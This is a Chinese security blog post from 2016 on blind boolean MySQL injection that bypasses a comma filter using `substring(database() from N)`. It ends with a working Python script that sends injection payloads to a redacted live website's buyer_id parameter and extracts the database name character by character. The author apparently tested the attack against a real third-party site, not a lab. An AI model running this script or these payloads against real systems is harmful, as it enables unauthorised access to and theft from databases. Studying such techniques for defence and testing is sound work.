记一次简单Mysql注入(布尔型过滤逗号,附python脚本)

笔记 2016-06-24

#先感谢下@莲藕炖猪蹄和@redfree。姿势不在多,只要你的姿势正确欢迎来给我普及新知识。绝对虚心求教。

再就是标题党一回,今天碰到一个注入,过滤了逗号,sqlmap并没有跑出来,习惯性装逼手注一下。

过滤逗号的情况下布尔型注入可以用substring这个函数,正常用法substring(@@version,1,1)=5,猜@@version的第一位是5。

但是这里过滤了单引号,前段时间@莲藕炖猪蹄 大牛刚给我普及了一下,substring不用逗号也可以猜解的用法。

substring(database() from 1) 这样是猜解完整的数据库名字。

简单用本地数据库演示下。
1.jpg

一开始length(database())得到9
2.jpg

接下来猜数据库名称 substring(database() from 9) 这样猜解数据库名称最后一个字符
3.jpg

并没有猜出最后一位是什么字符…这特么就很尴尬了....刚开始只知道过滤逗号,当时就想到了应该是还过滤了什么关键词....

怎么判断过滤了什么字符?简单判断:length下当前的注入的语句,如果过滤了注入语句中的某个关键词肯定返回false。
4.jpg

已知DATA SIZE为3453为True。
5.jpg

这里证明没有过滤什么东西...

这个时候@redfree那边说他注入出来了...语法是一样的…我擦....
检查下python代码,redfree说他那边加了headers,如果不加headers就返回False...
这尼玛就很尴尬了...加上headers再跑下...

后面redfree说 注释方式有问题…我擦…以前是个开发狗没用过--注入,我多余的把—后面的%20删了,原来--后面后面是个单引号...也就是说--不是注释了。
查了下mysql手册 注意--注释风格要求你在--以后至少有一个空格!MySQL3.23.3和以上版本支持'--'注释风格,只要注释跟在一个空格之后。

好吧,加上%20果断就跑出来了...其实用%23可以不用加空格...
6.jpg

脚本如下:

#-*- coding:utf-8 -*-

import requests

payload = list('qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_')

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 
    "Accept-Encoding": "gzip, deflate"
}

user = ''
num = 9
strings = '' 
for x in range(1,10):
    for y in payload:
        y  = y+strings
        url = "http://***.***.**.**/**/user/buyerChannel/indexNew?buyer_id=25966%%27)+AND+substring(database()+from+%d)=%%27%s%%27%%23&_=1466596215826" % (num,y)
        try:
            response = requests.get(url,headers=headers,timeout=5,verify=False)
            if response.content.find('****') != -1:#改成你想查找的关键词

                strings = y
                num -= 1
                print url
                break
        except Exception,e:
            pass
print '当前数据库名称为: ',
print strings


本文由 Mosuan 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

已有 3 人抢先你了

  1. 看完还是有些模糊

  2. 嘤嘤嘤 嘤嘤嘤

    没有看懂里面9 是如何出来。。。

    1. length(database())得到9

添加新评论